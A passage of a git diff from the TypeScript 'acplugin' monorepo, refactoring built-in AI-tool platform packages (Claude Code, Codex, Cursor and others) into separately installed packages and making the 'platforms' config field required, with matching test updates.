{ "@acplugin/core": "workspace:*", - "@acplugin/platform-antigravity": "workspace:*", - "@acplugin/platform-claude-code": "workspace:*", - "@acplugin/platform-codex": "workspace:*", - "@acplugin/platform-cursor": "workspace:*", - "@acplugin/platform-opencode": "workspace:*", - "@acplugin/platform-pi": "workspace:*", "@types/node": "catalog:", "@types/semver": "^7.7.1", "@types/spdx-expression-parse": "^4.0.0", diff --git a/packages/acplugin/src/cli.ts b/packages/acplugin/src/cli.ts index b1f1538..9bf4abd 100644 --- a/packages/acplugin/src/cli.ts +++ b/packages/acplugin/src/cli.ts @@ -551,7 +551,7 @@ export function createCli(): Command { /** 注册全局元数据和错误处理策略的 CLI 根命令。 */ const program = new Command() .name('acplugin') - .description('Build canonical AI plugin deliveries for six platforms') + .description('Build canonical AI plugin deliveries for configured Platforms') .version(ACPLUGIN_VERSION) .showHelpAfterError() .exitOverride(); @@ -563,7 +563,7 @@ export function createCli(): Command { .option('--name ', 'Plugin machine name') .option('--display-name ', 'Plugin display name') .option('--description ', 'Plugin description') - .option('--platform ', 'Select one or more official Platforms') + .option('--platform ', 'Select one or more configured Platforms') .option('--hooks', 'Enable the official Hooks Extension') .option('--mcp', 'Enable the official MCP Extension') .option('--install', 'Run pnpm install after scaffolding') diff --git a/packages/acplugin/src/index.ts b/packages/acplugin/src/index.ts index f738751..af41e35 100644 --- a/packages/acplugin/src/index.ts +++ b/packages/acplugin/src/index.ts @@ -4,29 +4,6 @@ import { } from '@acplugin/core'; import { executeProject, type RunProjectOptions } from './run-project.js'; -export { antigravity } from '@acplugin/platform-antigravity'; -export { claudeCode } from '@acplugin/platform-claude-code'; -export { codex } from '@acplugin/platform-codex'; -export { cursor } from '@acplugin/platform-cursor'; -export { openCode } from '@acplugin/platform-opencode'; -export { pi } from '@acplugin/platform-pi'; -export type { AntigravityPlatformOptions } from '@acplugin/platform-antigravity'; -export type { - ClaudeCodeMarketplaceOptions, - ClaudeCodeMarketplaceOwner, - ClaudeCodePlatformOptions, -} from '@acplugin/platform-claude-code'; -export type { - CodexCategory, - CodexInterfaceOptions, - CodexMarketplaceInstallation, - CodexMarketplaceOptions, - CodexMarketplacePolicyOptions, - CodexPlatformOptions, -} from '@acplugin/platform-codex'; -export type { CursorPlatformOptions } from '@acplugin/platform-cursor'; -export type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from '@acplugin/platform-opencode'; -export type { PiPackageOptions, PiPlatformOptions } from '@acplugin/platform-pi'; export { ProjectConfigError } from './project-config.js'; export type { RunProjectOptions } from './run-project.js'; @@ -36,8 +13,10 @@ export { defineExtension, definePlatform, LIFECYCLE_API_VERSION, + markdownWithFrontmatter, serializeBuildResult, stableJson, + stableYaml, } from '@acplugin/core'; export type { AcpluginExtension, @@ -128,19 +107,6 @@ export type { InitOptions, InitPlatformId, InitResult } from './init.js'; /** 当前 CLI 与公开运行时 API 的版本号。 */ export const ACPLUGIN_VERSION = '1.0.0'; -/** 主包内置且由独立私有包实现的六个 Platform ID。 */ -export const BUILTIN_PLATFORM_IDS = [ - 'claude-code', - 'codex', - 'cursor', - 'antigravity', - 'opencode', - 'pi', -] as const; - -/** acplugin 1.0 官方内置 Platform 的封闭联合类型。 */ -export type BuiltinPlatformId = typeof BUILTIN_PLATFORM_IDS[number]; - /** * 为 `acplugin.config.ts` 提供类型推断友好的恒等辅助函数。 * diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts index 1969ad2..70386ce 100644 --- a/packages/acplugin/src/init.ts +++ b/packages/acplugin/src/init.ts @@ -53,14 +53,14 @@ export class InitError extends Error { /** 无交互脚手架默认启用的正式支持 Platform。 */ const DEFAULT_PLATFORMS: readonly InitPlatformId[] = ['claude-code', 'codex']; -/** 每个官方 Platform 在主包中对应的配置工厂导出名。 */ -const PLATFORM_FACTORIES: Readonly> = { - 'claude-code': 'claudeCode', - 'codex': 'codex', - 'cursor': 'cursor', - 'antigravity': 'antigravity', - 'opencode': 'openCode', - 'pi': 'pi', +/** 每个官方 Platform 的独立 package 与配置工厂导出名。 */ +const PLATFORM_PACKAGES: Readonly> = { + 'claude-code': { packageName: '@tokenroll/acplugin-platform-claude-code', factory: 'claudeCode' }, + 'codex': { packageName: '@tokenroll/acplugin-platform-codex', factory: 'codex' }, + 'cursor': { packageName: '@tokenroll/acplugin-platform-cursor', factory: 'cursor' }, + 'antigravity': { packageName: '@tokenroll/acplugin-platform-antigravity', factory: 'antigravity' }, + 'opencode': { packageName: '@tokenroll/acplugin-platform-opencode', factory: 'openCode' }, + 'pi': { packageName: '@tokenroll/acplugin-platform-pi', factory: 'pi' }, }; /** Plugin 名称接受的小写 kebab-case 格式。 */ @@ -124,8 +124,15 @@ function configSource(metadata: { hooks: boolean; mcp: boolean; }): string { - /** 配置入口与选中 Platform 对应的主包工厂导出。 */ - const imports = [`import { defineConfig, ${metadata.platforms.map(platform => PLATFORM_FACTORIES[platform]).join(', ')} } from '@tokenroll/acplugin';`]; + /** 配置入口以及每个选中 Platform 的独立 package 默认导入。 */ + const imports = [ + `import { defineConfig } from '@tokenroll/acplugin';`, + ...metadata.platforms.map((platform) => { + /** 当前官方 Platform 的 package 名和本地工厂名。 */ + const definition = PLATFORM_PACKAGES[platform]; + return `import ${definition.factory} from '${definition.packageName}';`; + }), + ]; /** 写入配置 `extensions` 数组的初始化表达式。 */ const extensions: string[] = []; if (metadata.hooks) { @@ -143,7 +150,7 @@ export default defineConfig({ version: '0.1.0', description: ${JSON.stringify(metadata.description)}, displayName: ${JSON.stringify(metadata.displayName)}, - platforms: [${metadata.platforms.map(platform => `${PLATFORM_FACTORIES[platform]}()`).join(', ')}],${extensions.length + platforms: [${metadata.platforms.map(platform => `${PLATFORM_PACKAGES[platform].factory}()`).join(', ')}],${extensions.length ? ` extensions: [${extensions.join(', ')}],` : ''} @@ -155,17 +162,20 @@ export default defineConfig({ * 生成仅包含工程开发依赖和标准命令的私有 package.json。 * * @param name Plugin 机器名称。 + * @param platforms 需要加入的独立官方 Platform 依赖。 * @param hooks 是否加入官方 Hooks Extension 依赖。 * @param mcp 是否加入官方 MCP Extension 依赖。 * @returns 以换行结尾的格式化 JSON。 */ -function packageSource(name: string, hooks: boolean, mcp: boolean): string { +function packageSource(name: string, platforms: readonly InitPlatformId[], hooks: boolean, mcp: boolean): string { /** 根据 Extension 选择动态扩展的开发依赖映射。 */ const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', '@types/node': '^20.19.0', 'typescript': '^7.0.2', }; + for (const platform of platforms) + devDependencies[PLATFORM_PACKAGES[platform].packageName] = '^1.0.0'; if (hooks) devDependencies['@tokenroll/acplugin-extension-hooks'] = '^1.0.0'; if (mcp) @@ -266,7 +276,7 @@ export async function initializeProject(options: InitOptions): Promise(); /** platform 表示当前需要验证和稳定去重的脚手架 Platform。 */ for (const platform of platforms) { - if (!Object.hasOwn(PLATFORM_FACTORIES, platform)) + if (!Object.hasOwn(PLATFORM_PACKAGES, platform)) throw new InitError(`Unknown init Platform "${platform}".`); if (seenPlatforms.has(platform)) throw new InitError(`Duplicate init Platform "${platform}".`); @@ -308,7 +318,7 @@ export async function initializeProject(options: InitOptions): Promise 0; /** 规范配置入口及按需追加的 Platform/Extension 导入。 */ - const imports = [`import { defineConfig${hasCanonicalComponents ? '' : ', claudeCode'} } from '@tokenroll/acplugin';`]; + const imports = [ + `import { defineConfig } from '@tokenroll/acplugin';`, + `import claudeCode from '@tokenroll/acplugin-platform-claude-code';`, + ]; if (usesMcp) imports.push(`import mcp from '@tokenroll/acplugin-extension-mcp';`); /** 按稳定顺序组成且只包含已知字段的最终配置行。 */ @@ -1559,12 +1573,16 @@ async function writeCanonicalProject( configLines.push(` keywords: ${JSON.stringify(metadata.keywords)},`); if (usesMcp) configLines.push(' extensions: [mcp()],'); - if (!hasCanonicalComponents) - configLines.push(' platforms: [claudeCode()],'); + configLines.push(' platforms: [claudeCode()],'); configLines.push(' build: { strict: false },', '});'); await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')}\n\n${configLines.join('\n')}\n`); /** 新工程基础开发依赖及按需追加的官方 MCP Extension。 */ - const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', 'typescript': '^7.0.2', '@types/node': '^20.19.0' }; + const devDependencies: Record = { + '@tokenroll/acplugin': '^1.0.0', + '@tokenroll/acplugin-platform-claude-code': '^1.0.0', + 'typescript': '^7.0.2', + '@types/node': '^20.19.0', + }; if (usesMcp) devDependencies['@tokenroll/acplugin-extension-mcp'] = '^1.0.0'; await copyText(path.join(outputRoot, 'package.json'), stableJson({ diff --git a/packages/acplugin/src/platforms/antigravity.ts b/packages/acplugin/src/platforms/antigravity.ts deleted file mode 100644 index aab0e97..0000000 --- a/packages/acplugin/src/platforms/antigravity.ts +++ /dev/null @@ -1,2 +0,0 @@ -export { antigravity, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-antigravity'; -export type { AntigravityPlatformOptions } from '@acplugin/platform-antigravity'; diff --git a/packages/acplugin/src/platforms/claude-code.ts b/packages/acplugin/src/platforms/claude-code.ts deleted file mode 100644 index 057f43d..0000000 --- a/packages/acplugin/src/platforms/claude-code.ts +++ /dev/null @@ -1,6 +0,0 @@ -export { claudeCode, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-claude-code'; -export type { - ClaudeCodeMarketplaceOptions, - ClaudeCodeMarketplaceOwner, - ClaudeCodePlatformOptions, -} from '@acplugin/platform-claude-code'; diff --git a/packages/acplugin/src/platforms/codex.ts b/packages/acplugin/src/platforms/codex.ts deleted file mode 100644 index bf21ac2..0000000 --- a/packages/acplugin/src/platforms/codex.ts +++ /dev/null @@ -1,9 +0,0 @@ -export { codex, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-codex'; -export type { - CodexCategory, - CodexInterfaceOptions, - CodexMarketplaceInstallation, - CodexMarketplaceOptions, - CodexMarketplacePolicyOptions, - CodexPlatformOptions, -} from '@acplugin/platform-codex'; diff --git a/packages/acplugin/src/platforms/cursor.ts b/packages/acplugin/src/platforms/cursor.ts deleted file mode 100644 index 48b4384..0000000 --- a/packages/acplugin/src/platforms/cursor.ts +++ /dev/null @@ -1,2 +0,0 @@ -export { cursor, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-cursor'; -export type { CursorPlatformOptions } from '@acplugin/platform-cursor'; diff --git a/packages/acplugin/src/platforms/opencode.ts b/packages/acplugin/src/platforms/opencode.ts deleted file mode 100644 index f706352..0000000 --- a/packages/acplugin/src/platforms/opencode.ts +++ /dev/null @@ -1,2 +0,0 @@ -export { openCode, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-opencode'; -export type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from '@acplugin/platform-opencode'; diff --git a/packages/acplugin/src/platforms/pi.ts b/packages/acplugin/src/platforms/pi.ts deleted file mode 100644 index f888c5b..0000000 --- a/packages/acplugin/src/platforms/pi.ts +++ /dev/null @@ -1,2 +0,0 @@ -export { pi, PLATFORM_API_VERSION, PLATFORM_ID } from '@acplugin/platform-pi'; -export type { PiPackageOptions, PiPlatformOptions } from '@acplugin/platform-pi'; diff --git a/packages/acplugin/src/project-config.ts b/packages/acplugin/src/project-config.ts index 7598209..4c54567 100644 --- a/packages/acplugin/src/project-config.ts +++ b/packages/acplugin/src/project-config.ts @@ -10,8 +10,6 @@ import { type UserConfig, type UserConfigExport, } from '@acplugin/core'; -import { claudeCode } from '@acplugin/platform-claude-code'; -import { codex } from '@acplugin/platform-codex'; /** 表示配置文件读取、执行或 Core 配置解析失败,并携带可安全展示的结构化诊断。 */ export class ProjectConfigError extends Error { @@ -218,9 +216,7 @@ export async function loadProjectConfig(options: LoadProjectConfigOptions): Prom } /** Core 配置解析结果,包含诊断以及成功时的 ResolvedConfig。 */ - const resolved = resolveConfig(value, configPath, options.command, options.mode, { - defaultPlatforms: [claudeCode(), codex()], - }); + const resolved = resolveConfig(value, configPath, options.command, options.mode); if (!resolved.config) { /** 为 CLI 与程序化 API 组合的简要错误文本;结构化诊断仍完整保留。 */ const details = resolved.diagnostics.map(diagnostic => `${diagnostic.code}: ${diagnostic.message}`).join('\n'); diff --git a/packages/acplugin/test/config-loader.test.ts b/packages/acplugin/test/config-loader.test.ts index 0d6fb36..66ca245 100644 --- a/packages/acplugin/test/config-loader.test.ts +++ b/packages/acplugin/test/config-loader.test.ts @@ -2,6 +2,7 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; +import { definePlatform } from '../src/index.js'; import { loadProjectConfig, ProjectConfigError } from '../src/project-config.js'; /** 每个配置加载测试创建并在 afterEach 中删除的临时工程。 */ @@ -13,6 +14,32 @@ const DOTENV_KEY = 'ACPLUGIN_CONFIG_LOADER_DOTENV_FIXTURE'; /** 测试开始前宿主环境可能已经存在的变量值。 */ const originalDotenvValue = process.env[DOTENV_KEY]; +/** 临时配置与测试进程共享品牌化 Platform 时使用的隔离全局键。 */ +const CONFIG_TEST_PLATFORM = Symbol.for('tokenroll.acplugin.config-loader-test-platform'); + +Reflect.set(globalThis, CONFIG_TEST_PLATFORM, definePlatform({ + id: 'config-loader-test', + apiVersion: '1', + deliveryType: 'plugin', + /** 配置加载测试不会执行 Platform 生命周期。 */ + prepare: () => ({ documents: [], artifacts: [] }), + /** 配置加载测试不会生成交付单元。 */ + generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), + /** 配置加载测试不会物化候选目录。 */ + validateBundle: () => undefined, +})); + +/** + * 为配置源码提供一个通过正式公开工厂创建的显式测试 Platform。 + * + * @param source 引用 `testPlatform` 的配置导出源码。 + * @returns 带公开 SDK 导入和品牌化实例声明的完整模块。 + */ +function withPlatform(source: string): string { + return `const testPlatform = globalThis[Symbol.for('tokenroll.acplugin.config-loader-test-platform')]; +${source}`; +} + /** * 创建含指定 acplugin.config.ts 源码的临时工程。 * @@ -23,7 +50,7 @@ async function project(source: string): Promise { /** 当前测试独占的临时工程根目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-config-loader-')); roots.push(root); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), source); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), withPlatform(source)); return root; } @@ -39,9 +66,9 @@ describe('config loader', () => { it('loads object, sync factory, and async factory exports', async () => { /** 三种受支持配置导出形式的源码。 */ const sources = [ - `export default { name: 'object-config', version: '1.0.0', description: 'Object.' }`, - `export default ({ command }) => ({ name: 'sync-config', version: '1.0.0', description: command })`, - `export default async ({ mode }) => ({ name: 'async-config', version: '1.0.0', description: mode })`, + `export default { name: 'object-config', version: '1.0.0', description: 'Object.', platforms: [testPlatform] }`, + `export default ({ command }) => ({ name: 'sync-config', version: '1.0.0', description: command, platforms: [testPlatform] })`, + `export default async ({ mode }) => ({ name: 'async-config', version: '1.0.0', description: mode, platforms: [testPlatform] })`, ]; /** 三种配置分别加载后的统一名称。 */ const names: string[] = []; @@ -58,10 +85,10 @@ describe('config loader', () => { it('fresh-loads changed config source during dev', async () => { /** 初始版本为 1.0.0 的临时工程。 */ - const cwd = await project(`export default { name: 'fresh-config', version: '1.0.0', description: 'Fresh.' }`); + const cwd = await project(`export default { name: 'fresh-config', version: '1.0.0', description: 'Fresh.', platforms: [testPlatform] }`); /** 第一次无缓存配置加载。 */ const first = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); - await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), `export default { name: 'fresh-config', version: '2.0.0', description: 'Fresh.' }`); + await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), withPlatform(`export default { name: 'fresh-config', version: '2.0.0', description: 'Fresh.', platforms: [testPlatform] }`)); /** 文件变化后的第二次无缓存配置加载。 */ const second = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); @@ -83,9 +110,9 @@ describe('config loader', () => { await fs.mkdir(helperRoot, { recursive: true }); await fs.writeFile(path.join(helperRoot, 'package.json'), '{"name":"shared-config","type":"module"}\n'); await fs.writeFile(helper, `export const description = 'First external helper.';\n`); - await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), `import { description } from '../shared-config/value.ts'; -export default { name: 'closure-config', version: '1.0.0', description }; -`); + await fs.writeFile(path.join(cwd, 'acplugin.config.ts'), withPlatform(`import { description } from '../shared-config/value.ts'; +export default { name: 'closure-config', version: '1.0.0', description, platforms: [testPlatform] }; +`)); /** 第一次执行观察到的 Jiti transform closure。 */ const first = await loadProjectConfig({ cwd, command: 'dev', mode: 'development' }); @@ -106,6 +133,7 @@ export default { name: 'closure-config', version: '1.0.0', description }; name: 'dotenv-config', version: '1.0.0', description: process.env.${DOTENV_KEY} ?? 'not-loaded', + platforms: [testPlatform], }`); await fs.writeFile(path.join(cwd, '.env'), `${DOTENV_KEY}=loaded-secret\n`); /** 不启用 dotenv 的最终加载结果。 */ @@ -134,13 +162,13 @@ export default { name: 'closure-config', version: '1.0.0', description }; return codes.includes('CONFIG_LEGACY_TARGETS') && codes.includes('CONFIG_LEGACY_MODULES') && codes.includes('CONFIG_PLATFORMS_EMPTY') - && error.diagnostics.some(item => item.hint?.includes('platforms: [claudeCode(), codex()]')); + && error.diagnostics.some(item => item.hint?.includes('platforms: [myPlatform()]')); }); }); it('records loaded Extension descriptors and their local dependency root for dev', async () => { /** descriptor 监听测试使用的有效配置工程。 */ - const cwd = await project(`export default { name: 'watch-config', version: '1.0.0', description: 'Watch.' }`); + const cwd = await project(`export default { name: 'watch-config', version: '1.0.0', description: 'Watch.', platforms: [testPlatform] }`); /** 模拟 Extension discover 阶段加载的本地 TypeScript descriptor。 */ const descriptor = path.join(cwd, 'extensions/example.ts'); await fs.mkdir(path.dirname(descriptor), { recursive: true }); diff --git a/packages/acplugin/tsdown.config.ts b/packages/acplugin/tsdown.config.ts index 6901b87..e9b281b 100644 --- a/packages/acplugin/tsdown.config.ts +++ b/packages/acplugin/tsdown.config.ts @@ -1,17 +1,11 @@ import { defineConfig } from 'tsdown'; import { fileURLToPath } from 'node:url'; -// 主包同时生成库入口与可执行 CLI;私有 Core/Platform 会内联,Migration 通过动态导入保留独立 Chunk。 +// 主包同时生成库入口与可执行 CLI;私有 Core 会内联,Migration 通过动态导入保留独立 Chunk。 export default defineConfig({ entry: { - 'index': fileURLToPath(new URL('./src/index.ts', import.meta.url)), - 'cli': fileURLToPath(new URL('./src/cli.ts', import.meta.url)), - 'platforms/claude-code': fileURLToPath(new URL('./src/platforms/claude-code.ts', import.meta.url)), - 'platforms/codex': fileURLToPath(new URL('./src/platforms/codex.ts', import.meta.url)), - 'platforms/cursor': fileURLToPath(new URL('./src/platforms/cursor.ts', import.meta.url)), - 'platforms/antigravity': fileURLToPath(new URL('./src/platforms/antigravity.ts', import.meta.url)), - 'platforms/opencode': fileURLToPath(new URL('./src/platforms/opencode.ts', import.meta.url)), - 'platforms/pi': fileURLToPath(new URL('./src/platforms/pi.ts', import.meta.url)), + index: fileURLToPath(new URL('./src/index.ts', import.meta.url)), + cli: fileURLToPath(new URL('./src/cli.ts', import.meta.url)), }, format: ['esm'], platform: 'node', @@ -24,19 +18,8 @@ export default defineConfig({ deps: { alwaysBundle: [ '@acplugin/core', - '@acplugin/platform-antigravity', - '@acplugin/platform-claude-code', - '@acplugin/platform-codex', - '@acplugin/platform-cursor', - '@acplugin/platform-opencode', - '@acplugin/platform-pi', + '@tokenroll/acplugin-platform-claude-code', '@tokenroll/acplugin-extension-mcp', ], - onlyBundle: [ - 'image-size', - 'saxes', - 'yaml', - 'xmlchars', - ], }, }); diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts index f7853b6..92b8076 100644 --- a/packages/core/src/config.ts +++ b/packages/core/src/config.ts @@ -2,7 +2,7 @@ import path from 'node:path'; import semver from 'semver'; import parseSpdxExpression from 'spdx-expression-parse'; import { DiagnosticCollector } from './diagnostics.js'; -import { isAcpluginExtension, isAcpluginPlatform, type AcpluginPlatform } from './contracts.js'; +import { isAcpluginExtension, isAcpluginPlatform } from './contracts.js'; import type { BuildCommand, BuildMode, @@ -29,15 +29,10 @@ const ALLOWED_FIELDS = new Set([ /** 需要定向提示最终写法、不能只报告 unknown 的旧配置字段。 */ const LEGACY_FIELDS = new Map([ - ['targets', 'Use platforms: [claudeCode(), codex()] instead.'], - ['modules', 'Use extensions: [hooks(), mcp()] instead.'], + ['targets', 'Use platforms: [myPlatform()] instead.'], + ['modules', 'Use extensions: [myExtension()] instead.'], ]); -/** Core 注入默认 Platform 时需要的外部工厂结果。 */ -export interface ResolveConfigOptions { - readonly defaultPlatforms: readonly AcpluginPlatform[]; -} - /** * 判断未知值是否为可枚举的普通对象形态。 * @@ -281,24 +276,26 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl /** * 校验品牌化 Platform 实例并应用全局 strict 默认值。 * - * @param value 显式 platforms 值或 undefined。 - * @param defaults 主包注入的默认 Platform 工厂结果。 + * @param value 必填的显式 platforms 值。 * @param strict 全局功能兼容性严格度。 * @param diagnostics 当前配置诊断集合。 * @returns 保持配置顺序的最终 Platform 列表。 */ function resolvePlatforms( value: unknown, - defaults: readonly AcpluginPlatform[], strict: boolean, diagnostics: DiagnosticCollector, ): ResolvedPlatform[] { - if (value !== undefined && !Array.isArray(value)) { + if (value === undefined) { + diagnostics.error('CONFIG_PLATFORMS_REQUIRED', 'platforms is required and must contain at least one Platform factory result.', { phase: 'config', fieldPath: ['platforms'] }); + return []; + } + if (!Array.isArray(value)) { diagnostics.error('CONFIG_PLATFORMS_INVALID', 'platforms must be an array of Platform factory results.', { phase: 'config', fieldPath: ['platforms'] }); return []; } - /** 省略字段时使用默认工厂,显式数组则完整替换默认集合。 */ - const input = value === undefined ? defaults : value; + /** 用户显式声明且已确认数组形态的 Platform 工厂结果。 */ + const input = value; if (input.length === 0) diagnostics.error('CONFIG_PLATFORMS_EMPTY', 'platforms must contain at least one Platform.', { phase: 'config', fieldPath: ['platforms'] }); /** 用于拒绝重复 Platform ID 的集合。 */ @@ -372,7 +369,6 @@ function resolveExtensions(value: unknown, diagnostics: DiagnosticCollector): im * @param configPath 配置文件绝对路径或可解析路径。 * @param command 当前执行的 CLI 构建命令。 * @param mode 当前构建运行模式。 - * @param options 主包提供的默认 Platform 工厂结果。 * @returns 成功时包含完整配置;失败时只返回已脱敏、可排序的诊断。 */ export function resolveConfig( @@ -380,7 +376,6 @@ export function resolveConfig( configPath: string, command: BuildCommand, mode: BuildMode, - options: ResolveConfigOptions, ): { config?: ResolvedConfig; diagnostics: readonly import('./types.js').Diagnostic[] } { /** 单次解析共享同一个 Collector,以汇总全部独立问题。 */ const diagnostics = new DiagnosticCollector(); @@ -455,7 +450,7 @@ export function resolveConfig( /** 已解析的 Public 来源与 copy rule。 */ const publicConfig = resolvePublic(root, object.public, diagnostics); /** 已品牌校验且带最终 strictness 的 Platform。 */ - const platforms = resolvePlatforms(object.platforms, options.defaultPlatforms, strict, diagnostics); + const platforms = resolvePlatforms(object.platforms, strict, diagnostics); /** 已品牌校验且名称唯一的 Extension。 */ const extensions = resolveExtensions(object.extensions, diagnostics); diff --git a/packages/core/src/types.ts b/packages/core/src/types.ts index 45e8aba..94ad9d8 100644 --- a/packages/core/src/types.ts +++ b/packages/core/src/types.ts @@ -231,7 +231,7 @@ export interface UserConfig { readonly keywords?: readonly string[]; readonly srcDir?: string; readonly public?: PublicConfig; - readonly platforms?: readonly AcpluginPlatform[]; + readonly platforms: readonly AcpluginPlatform[]; readonly extensions?: readonly AcpluginExtension[]; readonly build?: BuildConfig; } diff --git a/packages/core/test/config.test.ts b/packages/core/test/config.test.ts index 30b4885..465c04f 100644 --- a/packages/core/test/config.test.ts +++ b/packages/core/test/config.test.ts @@ -30,17 +30,20 @@ function platform(id: string, strict?: boolean): AcpluginPlatform { }); } -/** Core 配置测试模拟主包注入的默认 Platform 工厂结果。 */ +/** Core 配置测试使用的显式 Platform 工厂结果。 */ const defaults = [platform('claude-code'), platform('codex')]; +/** 允许运行时覆盖必填字段以验证缺失配置诊断的测试输入。 */ +type UserConfigInput = Omit & { readonly platforms?: UserConfig['platforms'] }; + /** * 使用固定工程根和默认 Platform 解析配置。 * * @param value 最终 acplugin.config.ts 对象。 * @returns Core 的配置或诊断结果。 */ -function resolve(value: UserConfig): ReturnType { - return resolveConfig(value, path.join('/project', 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: defaults }); +function resolve(value: UserConfigInput): ReturnType { + return resolveConfig(value as UserConfig, path.join('/project', 'acplugin.config.ts'), 'build', 'production'); } describe('final configuration schema', () => { @@ -84,19 +87,27 @@ describe('final configuration schema', () => { expect(result.config?.public.copy).toEqual([{ from: 'shared', to: 'shared' }]); }); - it('injects defaults only when platforms is omitted and applies build strictness', () => { - /** 省略 platforms 且关闭全局 strict 的配置结果。 */ + it('requires explicit platforms and applies build strictness', () => { + /** 显式配置 Platform 且关闭全局 strict 的配置结果。 */ const result = resolve({ name: 'default-platforms', version: '1.0.0', description: 'Default Platforms.', + platforms: defaults, build: { strict: false }, }); + /** 完全省略 Platform 时必须返回稳定的必填诊断。 */ + const missing = resolve({ + name: 'missing-platforms', + version: '1.0.0', + description: 'Missing Platforms.', + }); expect(result.config?.platforms.map(item => ({ id: item.platform.id, strict: item.strict }))).toEqual([ { id: 'claude-code', strict: false }, { id: 'codex', strict: false }, ]); + expect(missing.diagnostics).toContainEqual(expect.objectContaining({ code: 'CONFIG_PLATFORMS_REQUIRED' })); }); it('rejects empty, duplicate, forged, and API-incompatible Platform instances', () => { @@ -186,6 +197,7 @@ describe('final configuration schema', () => { name: 'portable-public', version: '1.0.0', description: 'Portable Public targets.', + platforms: defaults, public: { copy: [{ from: 'source\\logo.svg', to: 'assets\\logo.svg' }] }, }); diff --git a/packages/core/test/core.test.ts b/packages/core/test/core.test.ts index 6ec1e5a..becf68a 100644 --- a/packages/core/test/core.test.ts +++ b/packages/core/test/core.test.ts @@ -36,8 +36,11 @@ function testPlatform(id: string): AcpluginPlatform { }); } -/** Core 测试模拟主包注入的两个默认 Platform。 */ -const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; +/** Core 综合测试使用的两个显式 Platform。 */ +const testPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; + +/** 综合测试允许省略 Platform,并由测试辅助函数显式补入固定实例。 */ +type CoreTestConfig = Omit & { readonly platforms?: UserConfig['platforms'] }; /** * 使用测试默认 Platform 调用最终 Core 配置解析器。 @@ -48,8 +51,8 @@ const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; * @param mode 当前运行模式。 * @returns 最终配置或稳定诊断。 */ -function resolveConfig(value: UserConfig, configPath: string, command: BuildCommand, mode: BuildMode): ReturnType { - return resolveCoreConfig(value, configPath, command, mode, { defaultPlatforms }); +function resolveConfig(value: CoreTestConfig, configPath: string, command: BuildCommand, mode: BuildMode): ReturnType { + return resolveCoreConfig({ platforms: testPlatforms, ...value } as UserConfig, configPath, command, mode); } /** @@ -69,7 +72,7 @@ afterEach(async () => { }); describe('config', () => { - it('normalizes the default platforms and directories', async () => { + it('normalizes configured platforms and directories', async () => { /** 默认配置解析使用的空工程根目录。 */ const root = await temporaryProject(); /** 使用最小用户配置得到的解析结果。 */ @@ -139,10 +142,10 @@ describe('config', () => { expect(result.config).toBeUndefined(); expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CONFIG_LEGACY_TARGETS', hint: 'Use platforms: [claudeCode(), codex()] instead.', + code: 'CONFIG_LEGACY_TARGETS', hint: 'Use platforms: [myPlatform()] instead.', })); expect(result.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CONFIG_LEGACY_MODULES', hint: 'Use extensions: [hooks(), mcp()] instead.', + code: 'CONFIG_LEGACY_MODULES', hint: 'Use extensions: [myExtension()] instead.', })); }); }); diff --git a/packages/core/test/graph.test.ts b/packages/core/test/graph.test.ts index 3d92069..ca8437c 100644 --- a/packages/core/test/graph.test.ts +++ b/packages/core/test/graph.test.ts @@ -33,7 +33,7 @@ function testPlatform(id: string): AcpluginPlatform { }); } -/** 解析最终配置时模拟主包提供的默认 Platform。 */ +/** 依赖图测试显式使用的 Platform。 */ const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; /** @@ -79,7 +79,8 @@ async function graphDiagnostics(root: string): Promise { * * @param root 临时工程根目录。 * @param input 需要覆盖默认元数据的用户配置。 - * @param platforms 主包负责注入的默认 Platform。 + * @param platforms 测试配置显式声明的 Platform。 * @returns 无配置错误的最终 ResolvedConfig。 */ function projectConfig( @@ -74,12 +74,11 @@ function projectConfig( name: 'scanner-fixture', version: '1.0.0', description: 'Scanner fixture.', + platforms, ...input, }; /** Core 配置解析结果。 */ - const resolved = resolveConfig(value, path.join(root, 'acplugin.config.ts'), 'validate', 'production', { - defaultPlatforms: platforms, - }); + const resolved = resolveConfig(value, path.join(root, 'acplugin.config.ts'), 'validate', 'production'); expect(resolved.diagnostics).toEqual([]); return resolved.config!; } diff --git a/packages/extensions/hooks/package.json b/packages/extensions/hooks/package.json index 7afd5cc..2e46591 100644 --- a/packages/extensions/hooks/package.json +++ b/packages/extensions/hooks/package.json @@ -14,7 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", - "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @acplugin/platform-claude-code run build && pnpm --filter @acplugin/platform-codex run build && pnpm --filter @tokenroll/acplugin run build && pnpm run build", + "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @tokenroll/acplugin run build && pnpm --filter @tokenroll/acplugin-platform-claude-code run build && pnpm --filter 